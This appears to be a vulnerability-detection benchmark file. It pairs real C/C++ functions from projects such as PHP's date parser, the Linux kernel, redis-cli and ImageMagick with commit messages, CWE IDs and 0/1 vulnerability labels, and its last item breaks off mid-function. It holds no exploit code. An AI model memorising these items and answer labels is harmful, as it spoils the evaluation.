if (yych <= '/') goto yy6;
if (yych <= '9') goto yy31;
if (yych == 'T') goto yy14;
goto yy6;
yy28:
YYDEBUG(28, *YYCURSOR);
yyaccept = 1;
yych = *(YYMARKER = ++YYCURSOR);
if (yych <= '/') goto yy6;
if (yych <= '9') goto yy29;
if (yych == 'T') goto yy14;
goto yy6;
yy29:
YYDEBUG(29, *YYCURSOR);
++YYCURSOR;
if ((YYLIMIT - YYCURSOR) < 3) YYFILL(3);
yych = *YYCURSOR;
YYDEBUG(30, *YYCURSOR);
if (yych <= 'D') {
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy29;
if (yych <= 'C') goto yy13;
goto yy24;
} else {
if (yych <= 'M') {
if (yych <= 'L') goto yy13;
goto yy27;
} else {
if (yych == 'W') goto yy26;
goto yy13;
}
}
yy31:
YYDEBUG(31, *YYCURSOR);
++YYCURSOR;
if ((YYLIMIT - YYCURSOR) < 3) YYFILL(3);
yych = *YYCURSOR;
YYDEBUG(32, *YYCURSOR);
if (yych <= 'C') {
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy31;
goto yy13;
} else {
if (yych <= 'D') goto yy24;
if (yych == 'W') goto yy26;
goto yy13;
}
yy33:
YYDEBUG(33, *YYCURSOR);
++YYCURSOR;
if ((YYLIMIT - YYCURSOR) < 3) YYFILL(3);
yych = *YYCURSOR;
YYDEBUG(34, *YYCURSOR);
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy33;
if (yych == 'D') goto yy24;
goto yy13;
yy35:
YYDEBUG(35, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= 'L') {
if (yych <= '9') {
if (yych <= '/') goto yy13;
} else {
if (yych == 'D') goto yy24;
goto yy13;
}
} else {
if (yych <= 'W') {
if (yych <= 'M') goto yy27;
if (yych <= 'V') goto yy13;
goto yy26;
} else {
if (yych == 'Y') goto yy28;
goto yy13;
}
}
YYDEBUG(36, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != '-') goto yy39;
YYDEBUG(37, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '0') goto yy40;
if (yych <= '1') goto yy41;
goto yy13;
yy38:
YYDEBUG(38, *YYCURSOR);
++YYCURSOR;
if ((YYLIMIT - YYCURSOR) < 3) YYFILL(3);
yych = *YYCURSOR;
yy39:
YYDEBUG(39, *YYCURSOR);
if (yych <= 'L') {
if (yych <= '9') {
if (yych <= '/') goto yy13;
goto yy38;
} else {
if (yych == 'D') goto yy24;
goto yy13;
}
} else {
if (yych <= 'W') {
if (yych <= 'M') goto yy27;
if (yych <= 'V') goto yy13;
goto yy26;
} else {
if (yych == 'Y') goto yy28;
goto yy13;
}
}
yy40:
YYDEBUG(40, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy42;
goto yy13;
yy41:
YYDEBUG(41, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '3') goto yy13;
yy42:
YYDEBUG(42, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != '-') goto yy13;
YYDEBUG(43, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '0') goto yy44;
if (yych <= '2') goto yy45;
if (yych <= '3') goto yy46;
goto yy13;
yy44:
YYDEBUG(44, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy47;
goto yy13;
yy45:
YYDEBUG(45, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy47;
goto yy13;
yy46:
YYDEBUG(46, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '2') goto yy13;
yy47:
YYDEBUG(47, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != 'T') goto yy13;
YYDEBUG(48, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '1') goto yy49;
if (yych <= '2') goto yy50;
goto yy13;
yy49:
YYDEBUG(49, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy51;
goto yy13;
yy50:
YYDEBUG(50, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '5') goto yy13;
yy51:
YYDEBUG(51, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != ':') goto yy13;
YYDEBUG(52, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '6') goto yy13;
YYDEBUG(53, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= ':') goto yy13;
YYDEBUG(54, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != ':') goto yy13;
YYDEBUG(55, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '6') goto yy13;
YYDEBUG(56, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= ':') goto yy13;
YYDEBUG(57, *YYCURSOR);
++YYCURSOR;
YYDEBUG(58, *YYCURSOR);
#line 393 "ext/date/lib/parse_iso_intervals.re"
{
DEBUG_OUTPUT("combinedrep");
TIMELIB_INIT;
s->period->y = timelib_get_unsigned_nr((char **) &ptr, 4);
ptr++;
s->period->m = timelib_get_unsigned_nr((char **) &ptr, 2);
ptr++;
s->period->d = timelib_get_unsigned_nr((char **) &ptr, 2);
ptr++;
s->period->h = timelib_get_unsigned_nr((char **) &ptr, 2);
ptr++;
s->period->i = timelib_get_unsigned_nr((char **) &ptr, 2);
ptr++;
s->period->s = timelib_get_unsigned_nr((char **) &ptr, 2);
s->have_period = 1;
TIMELIB_DEINIT;
return TIMELIB_PERIOD;
}
#line 792 "ext/date/lib/parse_iso_intervals.c"
yy59:
YYDEBUG(59, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= ':') goto yy13;
YYDEBUG(60, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= ':') goto yy13;
YYDEBUG(61, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') {
if (yych == '-') goto yy64;
goto yy13;
} else {
if (yych <= '0') goto yy62;
if (yych <= '1') goto yy63;
goto yy13;
}
yy62:
YYDEBUG(62, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '0') goto yy13;
if (yych <= '9') goto yy85;
goto yy13;
yy63:
YYDEBUG(63, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '2') goto yy85;
goto yy13;
yy64:
YYDEBUG(64, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '0') goto yy65;
if (yych <= '1') goto yy66;
goto yy13;
yy65:
YYDEBUG(65, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '0') goto yy13;
if (yych <= '9') goto yy67;
goto yy13;
yy66:
YYDEBUG(66, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '3') goto yy13;
yy67:
YYDEBUG(67, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != '-') goto yy13;
YYDEBUG(68, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '0') goto yy69;
if (yych <= '2') goto yy70;
if (yych <= '3') goto yy71;
goto yy13;
yy69:
YYDEBUG(69, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '0') goto yy13;
if (yych <= '9') goto yy72;
goto yy13;
yy70:
YYDEBUG(70, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy72;
goto yy13;
yy71:
YYDEBUG(71, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '2') goto yy13;
yy72:
YYDEBUG(72, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != 'T') goto yy13;
YYDEBUG(73, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '1') goto yy74;
if (yych <= '2') goto yy75;
goto yy13;
yy74:
YYDEBUG(74, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy76;
goto yy13;
yy75:
YYDEBUG(75, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '5') goto yy13;
yy76:
YYDEBUG(76, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != ':') goto yy13;
YYDEBUG(77, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '6') goto yy13;
YYDEBUG(78, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= ':') goto yy13;
YYDEBUG(79, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != ':') goto yy13;
YYDEBUG(80, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '6') goto yy13;
YYDEBUG(81, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= ':') goto yy13;
YYDEBUG(82, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != 'Z') goto yy13;
yy83:
YYDEBUG(83, *YYCURSOR);
++YYCURSOR;
YYDEBUG(84, *YYCURSOR);
#line 327 "ext/date/lib/parse_iso_intervals.re"
{
timelib_time *current;
if (s->have_date || s->have_period) {
current = s->end;
s->have_end_date = 1;
} else {
current = s->begin;
s->have_begin_date = 1;
}
DEBUG_OUTPUT("datetimebasic | datetimeextended");
TIMELIB_INIT;
current->y = timelib_get_nr((char **) &ptr, 4);
current->m = timelib_get_nr((char **) &ptr, 2);
current->d = timelib_get_nr((char **) &ptr, 2);
current->h = timelib_get_nr((char **) &ptr, 2);
current->i = timelib_get_nr((char **) &ptr, 2);
current->s = timelib_get_nr((char **) &ptr, 2);
s->have_date = 1;
TIMELIB_DEINIT;
return TIMELIB_ISO_DATE;
}
#line 944 "ext/date/lib/parse_iso_intervals.c"
yy85:
YYDEBUG(85, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '0') goto yy86;
if (yych <= '2') goto yy87;
if (yych <= '3') goto yy88;
goto yy13;
yy86:
YYDEBUG(86, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '0') goto yy13;
if (yych <= '9') goto yy89;
goto yy13;
yy87:
YYDEBUG(87, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy89;
goto yy13;
yy88:
YYDEBUG(88, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '2') goto yy13;
yy89:
YYDEBUG(89, *YYCURSOR);
yych = *++YYCURSOR;
if (yych != 'T') goto yy13;
YYDEBUG(90, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '1') goto yy91;
if (yych <= '2') goto yy92;
goto yy13;
yy91:
YYDEBUG(91, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy93;
goto yy13;
yy92:
YYDEBUG(92, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '5') goto yy13;
yy93:
YYDEBUG(93, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '6') goto yy13;
YYDEBUG(94, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= ':') goto yy13;
YYDEBUG(95, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= '6') goto yy13;
YYDEBUG(96, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= '/') goto yy13;
if (yych >= ':') goto yy13;
YYDEBUG(97, *YYCURSOR);
yych = *++YYCURSOR;
if (yych == 'Z') goto yy83;
goto yy13;
yy98:
YYDEBUG(98, *YYCURSOR);
++YYCURSOR;
if (YYLIMIT <= YYCURSOR) YYFILL(1);
yych = *YYCURSOR;
YYDEBUG(99, *YYCURSOR);
if (yych <= '/') goto yy100;
if (yych <= '9') goto yy98;
yy100:
YYDEBUG(100, *YYCURSOR);
#line 316 "ext/date/lib/parse_iso_intervals.re"
{
DEBUG_OUTPUT("recurrences");
TIMELIB_INIT;
ptr++;
s->recurrences = timelib_get_unsigned_nr((char **) &ptr, 9);
TIMELIB_DEINIT;
s->have_recurrences = 1;
return TIMELIB_PERIOD;
}
#line 1032 "ext/date/lib/parse_iso_intervals.c"
}
#line 428 "ext/date/lib/parse_iso_intervals.re"
}
Commit Message:
CWE ID: CWE-119
| 1
| 164,566
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ZSTD_compressionParameters ZSTD_getCParamsFromCDict(const ZSTD_CDict* cdict)
{
assert(cdict != NULL);
return cdict->matchState.cParams;
}
Commit Message: fixed T36302429
CWE ID: CWE-362
| 0
| 90,073
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: nlmclnt_lock(struct nlm_rqst *req, struct file_lock *fl)
{
struct rpc_cred *cred = nfs_file_cred(fl->fl_file);
struct nlm_host *host = req->a_host;
struct nlm_res *resp = &req->a_res;
struct nlm_wait *block = NULL;
unsigned char fl_flags = fl->fl_flags;
unsigned char fl_type;
int status = -ENOLCK;
if (nsm_monitor(host) < 0)
goto out;
req->a_args.state = nsm_local_state;
fl->fl_flags |= FL_ACCESS;
status = do_vfs_lock(fl);
fl->fl_flags = fl_flags;
if (status < 0)
goto out;
block = nlmclnt_prepare_block(host, fl);
again:
/*
* Initialise resp->status to a valid non-zero value,
* since 0 == nlm_lck_granted
*/
resp->status = nlm_lck_blocked;
for(;;) {
/* Reboot protection */
fl->fl_u.nfs_fl.state = host->h_state;
status = nlmclnt_call(cred, req, NLMPROC_LOCK);
if (status < 0)
break;
/* Did a reclaimer thread notify us of a server reboot? */
if (resp->status == nlm_lck_denied_grace_period)
continue;
if (resp->status != nlm_lck_blocked)
break;
/* Wait on an NLM blocking lock */
status = nlmclnt_block(block, req, NLMCLNT_POLL_TIMEOUT);
if (status < 0)
break;
if (resp->status != nlm_lck_blocked)
break;
}
/* if we were interrupted while blocking, then cancel the lock request
* and exit
*/
if (resp->status == nlm_lck_blocked) {
if (!req->a_args.block)
goto out_unlock;
if (nlmclnt_cancel(host, req->a_args.block, fl) == 0)
goto out_unblock;
}
if (resp->status == nlm_granted) {
down_read(&host->h_rwsem);
/* Check whether or not the server has rebooted */
if (fl->fl_u.nfs_fl.state != host->h_state) {
up_read(&host->h_rwsem);
goto again;
}
/* Ensure the resulting lock will get added to granted list */
fl->fl_flags |= FL_SLEEP;
if (do_vfs_lock(fl) < 0)
printk(KERN_WARNING "%s: VFS is out of sync with lock manager!\n", __func__);
up_read(&host->h_rwsem);
fl->fl_flags = fl_flags;
status = 0;
}
if (status < 0)
goto out_unlock;
/*
* EAGAIN doesn't make sense for sleeping locks, and in some
* cases NLM_LCK_DENIED is returned for a permanent error. So
* turn it into an ENOLCK.
*/
if (resp->status == nlm_lck_denied && (fl_flags & FL_SLEEP))
status = -ENOLCK;
else
status = nlm_stat_to_errno(resp->status);
out_unblock:
nlmclnt_finish_block(block);
out:
nlmclnt_release_call(req);
return status;
out_unlock:
/* Fatal error: ensure that we remove the lock altogether */
dprintk("lockd: lock attempt ended in fatal error.\n"
" Attempting to unlock.\n");
nlmclnt_finish_block(block);
fl_type = fl->fl_type;
fl->fl_type = F_UNLCK;
down_read(&host->h_rwsem);
do_vfs_lock(fl);
up_read(&host->h_rwsem);
fl->fl_type = fl_type;
fl->fl_flags = fl_flags;
nlmclnt_async_call(cred, req, NLMPROC_UNLOCK, &nlmclnt_unlock_ops);
return status;
}
Commit Message: NLM: Don't hang forever on NLM unlock requests
If the NLM daemon is killed on the NFS server, we can currently end up
hanging forever on an 'unlock' request, instead of aborting. Basically,
if the rpcbind request fails, or the server keeps returning garbage, we
really want to quit instead of retrying.
Tested-by: Vasily Averin <vvs@sw.ru>
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
Cc: stable@kernel.org
CWE ID: CWE-399
| 0
| 34,865
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct kvm_memory_slot *__gfn_to_memslot(struct kvm_memslots *slots,
gfn_t gfn)
{
return search_memslots(slots, gfn);
}
Commit Message: KVM: unmap pages from the iommu when slots are removed
commit 32f6daad4651a748a58a3ab6da0611862175722f upstream.
We've been adding new mappings, but not destroying old mappings.
This can lead to a page leak as pages are pinned using
get_user_pages, but only unpinned with put_page if they still
exist in the memslots list on vm shutdown. A memslot that is
destroyed while an iommu domain is enabled for the guest will
therefore result in an elevated page reference count that is
never cleared.
Additionally, without this fix, the iommu is only programmed
with the first translation for a gpa. This can result in
peer-to-peer errors if a mapping is destroyed and replaced by a
new mapping at the same gpa as the iommu will still be pointing
to the original, pinned memory address.
Signed-off-by: Alex Williamson <alex.williamson@redhat.com>
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264
| 0
| 20,297
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int getDbSize(void) {
redisReply *reply;
int size;
reply = redisCommand(context, "DBSIZE");
if(reply == NULL || reply->type != REDIS_REPLY_INTEGER) {
fprintf(stderr, "Couldn't determine DBSIZE!\n");
exit(1);
}
/* Grab the number of keys and free our reply */
size = reply->integer;
freeReplyObject(reply);
return size;
}
Commit Message: Security: fix redis-cli buffer overflow.
Thanks to Fakhri Zulkifli for reporting it.
The fix switched to dynamic allocation, copying the final prompt in the
static buffer only at the end.
CWE ID: CWE-119
| 0
| 81,959
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: invoke_NPN_GetURLNotify(PluginInstance *plugin, const char *url, const char *target, void *notifyData)
{
npw_return_val_if_fail(rpc_method_invoke_possible(g_rpc_connection),
NPERR_GENERIC_ERROR);
int error = rpc_method_invoke(g_rpc_connection,
RPC_METHOD_NPN_GET_URL_NOTIFY,
RPC_TYPE_NPW_PLUGIN_INSTANCE, plugin,
RPC_TYPE_STRING, url,
RPC_TYPE_STRING, target,
RPC_TYPE_NP_NOTIFY_DATA, notifyData,
RPC_TYPE_INVALID);
if (error != RPC_ERROR_NO_ERROR) {
npw_perror("NPN_GetURLNotify() invoke", error);
return NPERR_GENERIC_ERROR;
}
int32_t ret;
error = rpc_method_wait_for_reply(g_rpc_connection, RPC_TYPE_INT32, &ret, RPC_TYPE_INVALID);
if (error != RPC_ERROR_NO_ERROR) {
npw_perror("NPN_GetURLNotify() wait for reply", error);
return NPERR_GENERIC_ERROR;
}
return ret;
}
Commit Message: Support all the new variables added
CWE ID: CWE-264
| 0
| 27,121
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void TreeView::TreeNodesAdded(TreeModel* model,
TreeModelNode* parent,
int start,
int count) {
DCHECK(parent && start >= 0 && count > 0);
if (node_to_details_map_.find(parent) == node_to_details_map_.end() &&
(root_shown_ || parent != model_->GetRoot())) {
return;
}
HTREEITEM parent_tree_item = NULL;
if (root_shown_ || parent != model_->GetRoot()) {
const NodeDetails* details = GetNodeDetails(parent);
if (!details->loaded_children) {
if (count == model_->GetChildCount(parent)) {
TV_ITEM tv_item = {0};
tv_item.mask = TVIF_CHILDREN;
tv_item.cChildren = count;
tv_item.hItem = details->tree_item;
TreeView_SetItem(tree_view_, &tv_item);
}
return;
}
parent_tree_item = details->tree_item;
}
for (int i = 0; i < count; ++i) {
if (i == 0 && start == 0) {
CreateItem(parent_tree_item, TVI_FIRST, model_->GetChild(parent, 0));
} else {
TreeModelNode* previous_sibling = model_->GetChild(parent, i + start - 1);
CreateItem(parent_tree_item,
GetNodeDetails(previous_sibling)->tree_item,
model_->GetChild(parent, i + start));
}
}
}
Commit Message: Add OVERRIDE to ui::TreeModelObserver overridden methods.
BUG=None
TEST=None
R=sky@chromium.org
Review URL: http://codereview.chromium.org/7046093
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@88827 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 100,796
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void rpc_release_resources_task(struct rpc_task *task)
{
if (task->tk_rqstp)
xprt_release(task);
if (task->tk_msg.rpc_cred) {
put_rpccred(task->tk_msg.rpc_cred);
task->tk_msg.rpc_cred = NULL;
}
rpc_task_release_client(task);
}
Commit Message: NLM: Don't hang forever on NLM unlock requests
If the NLM daemon is killed on the NFS server, we can currently end up
hanging forever on an 'unlock' request, instead of aborting. Basically,
if the rpcbind request fails, or the server keeps returning garbage, we
really want to quit instead of retrying.
Tested-by: Vasily Averin <vvs@sw.ru>
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
Cc: stable@kernel.org
CWE ID: CWE-399
| 0
| 34,970
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void LogPolygonInfo(const PolygonInfo *polygon_info)
{
register EdgeInfo
*p;
register ssize_t
i,
j;
(void) LogMagickEvent(DrawEvent,GetMagickModule()," begin active-edge");
p=polygon_info->edges;
for (i=0; i < (ssize_t) polygon_info->number_edges; i++)
{
(void) LogMagickEvent(DrawEvent,GetMagickModule()," edge %.20g:",
(double) i);
(void) LogMagickEvent(DrawEvent,GetMagickModule()," direction: %s",
p->direction != MagickFalse ? "down" : "up");
(void) LogMagickEvent(DrawEvent,GetMagickModule()," ghostline: %s",
p->ghostline != MagickFalse ? "transparent" : "opaque");
(void) LogMagickEvent(DrawEvent,GetMagickModule(),
" bounds: %g,%g - %g,%g",p->bounds.x1,p->bounds.y1,
p->bounds.x2,p->bounds.y2);
for (j=0; j < (ssize_t) p->number_points; j++)
(void) LogMagickEvent(DrawEvent,GetMagickModule()," %g,%g",
p->points[j].x,p->points[j].y);
p++;
}
(void) LogMagickEvent(DrawEvent,GetMagickModule()," end active-edge");
}
Commit Message: Prevent buffer overflow (bug report from Max Thrane)
CWE ID: CWE-119
| 0
| 72,008
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: __xml_acl_mode_test(enum xml_private_flags allowed, enum xml_private_flags requested)
{
if(is_set(allowed, xpf_acl_deny)) {
return FALSE;
} else if(is_set(allowed, requested)) {
return TRUE;
} else if(is_set(requested, xpf_acl_read) && is_set(allowed, xpf_acl_write)) {
return TRUE;
} else if(is_set(requested, xpf_acl_create) && is_set(allowed, xpf_acl_write)) {
return TRUE;
} else if(is_set(requested, xpf_acl_create) && is_set(allowed, xpf_created)) {
return TRUE;
}
return FALSE;
}
Commit Message: Fix: acl: Do not delay evaluation of added nodes in some situations
It is not appropriate when the node has no children as it is not a
placeholder
CWE ID: CWE-264
| 0
| 43,984
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int muscle_create_directory(sc_card_t *card, sc_file_t *file)
{
mscfs_t *fs = MUSCLE_FS(card);
msc_id objectId;
u8* oid = objectId.id;
unsigned id = file->id;
unsigned short read_perm = 0, write_perm = 0, delete_perm = 0;
int objectSize;
int r;
if(id == 0) /* No null name files */
return SC_ERROR_INVALID_ARGUMENTS;
/* No nesting directories */
if(fs->currentPath[0] != 0x3F || fs->currentPath[1] != 0x00)
return SC_ERROR_NOT_SUPPORTED;
oid[0] = ((id & 0xFF00) >> 8) & 0xFF;
oid[1] = id & 0xFF;
oid[2] = oid[3] = 0;
objectSize = file->size;
muscle_parse_acls(file, &read_perm, &write_perm, &delete_perm);
r = msc_create_object(card, objectId, objectSize, read_perm, write_perm, delete_perm);
mscfs_clear_cache(fs);
if(r >= 0) return 0;
return r;
}
Commit Message: fixed out of bounds writes
Thanks to Eric Sesterhenn from X41 D-SEC GmbH
for reporting the problems.
CWE ID: CWE-415
| 0
| 78,753
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GfxColorSpace *GfxColorSpace::parse(Object *csObj) {
GfxColorSpace *cs;
Object obj1;
cs = NULL;
if (csObj->isName()) {
if (csObj->isName("DeviceGray") || csObj->isName("G")) {
cs = new GfxDeviceGrayColorSpace();
} else if (csObj->isName("DeviceRGB") || csObj->isName("RGB")) {
cs = new GfxDeviceRGBColorSpace();
} else if (csObj->isName("DeviceCMYK") || csObj->isName("CMYK")) {
cs = new GfxDeviceCMYKColorSpace();
} else if (csObj->isName("Pattern")) {
cs = new GfxPatternColorSpace(NULL);
} else {
error(-1, "Bad color space '%s'", csObj->getName());
}
} else if (csObj->isArray()) {
csObj->arrayGet(0, &obj1);
if (obj1.isName("DeviceGray") || obj1.isName("G")) {
cs = new GfxDeviceGrayColorSpace();
} else if (obj1.isName("DeviceRGB") || obj1.isName("RGB")) {
cs = new GfxDeviceRGBColorSpace();
} else if (obj1.isName("DeviceCMYK") || obj1.isName("CMYK")) {
cs = new GfxDeviceCMYKColorSpace();
} else if (obj1.isName("CalGray")) {
cs = GfxCalGrayColorSpace::parse(csObj->getArray());
} else if (obj1.isName("CalRGB")) {
cs = GfxCalRGBColorSpace::parse(csObj->getArray());
} else if (obj1.isName("Lab")) {
cs = GfxLabColorSpace::parse(csObj->getArray());
} else if (obj1.isName("ICCBased")) {
cs = GfxICCBasedColorSpace::parse(csObj->getArray());
} else if (obj1.isName("Indexed") || obj1.isName("I")) {
cs = GfxIndexedColorSpace::parse(csObj->getArray());
} else if (obj1.isName("Separation")) {
cs = GfxSeparationColorSpace::parse(csObj->getArray());
} else if (obj1.isName("DeviceN")) {
cs = GfxDeviceNColorSpace::parse(csObj->getArray());
} else if (obj1.isName("Pattern")) {
cs = GfxPatternColorSpace::parse(csObj->getArray());
} else {
error(-1, "Bad color space");
}
obj1.free();
} else {
error(-1, "Bad color space - expected name or array");
}
return cs;
}
Commit Message:
CWE ID: CWE-189
| 0
| 1,090
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool handle_client_work(PgSocket *client, PktHdr *pkt)
{
SBuf *sbuf = &client->sbuf;
switch (pkt->type) {
/* one-packet queries */
case 'Q': /* Query */
if (cf_disable_pqexec) {
slog_error(client, "Client used 'Q' packet type.");
disconnect_client(client, true, "PQexec disallowed");
return false;
}
case 'F': /* FunctionCall */
/* request immediate response from server */
case 'H': /* Flush */
case 'S': /* Sync */
/* copy end markers */
case 'c': /* CopyDone(F/B) */
case 'f': /* CopyFail(F/B) */
/*
* extended protocol allows server (and thus pooler)
* to buffer packets until sync or flush is sent by client
*/
case 'P': /* Parse */
case 'E': /* Execute */
case 'C': /* Close */
case 'B': /* Bind */
case 'D': /* Describe */
case 'd': /* CopyData(F/B) */
/* update stats */
if (!client->query_start) {
client->pool->stats.request_count++;
client->query_start = get_cached_time();
}
if (client->pool->db->admin)
return admin_handle_client(client, pkt);
/* aquire server */
if (!find_server(client))
return false;
client->pool->stats.client_bytes += pkt->len;
/* tag the server as dirty */
client->link->ready = false;
client->link->idle_tx = false;
/* forward the packet */
sbuf_prepare_send(sbuf, &client->link->sbuf, pkt->len);
break;
/* client wants to go away */
default:
slog_error(client, "unknown pkt from client: %d/0x%x", pkt->type, pkt->type);
disconnect_client(client, true, "unknown pkt");
return false;
case 'X': /* Terminate */
disconnect_client(client, false, "client close request");
return false;
}
return true;
}
Commit Message: Check if auth_user is set.
Fixes a crash if password packet appears before startup packet (#42).
CWE ID: CWE-476
| 0
| 74,316
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
ssize_t ret = 0;
int do_wakeup = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
/* Null write succeeds. */
if (unlikely(total_len == 0))
return 0;
__pipe_lock(pipe);
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
goto out;
}
/* We try to merge small writes */
chars = total_len & (PAGE_SIZE-1); /* size of the last buffer */
if (pipe->nrbufs && chars != 0) {
int lastbuf = (pipe->curbuf + pipe->nrbufs - 1) &
(pipe->buffers - 1);
struct pipe_buffer *buf = pipe->bufs + lastbuf;
int offset = buf->offset + buf->len;
if (pipe_buf_can_merge(buf) && offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
do_wakeup = 1;
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
for (;;) {
int bufs;
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}
bufs = pipe->nrbufs;
if (bufs < pipe->buffers) {
int newbuf = (pipe->curbuf + bufs) & (pipe->buffers-1);
struct pipe_buffer *buf = pipe->bufs + newbuf;
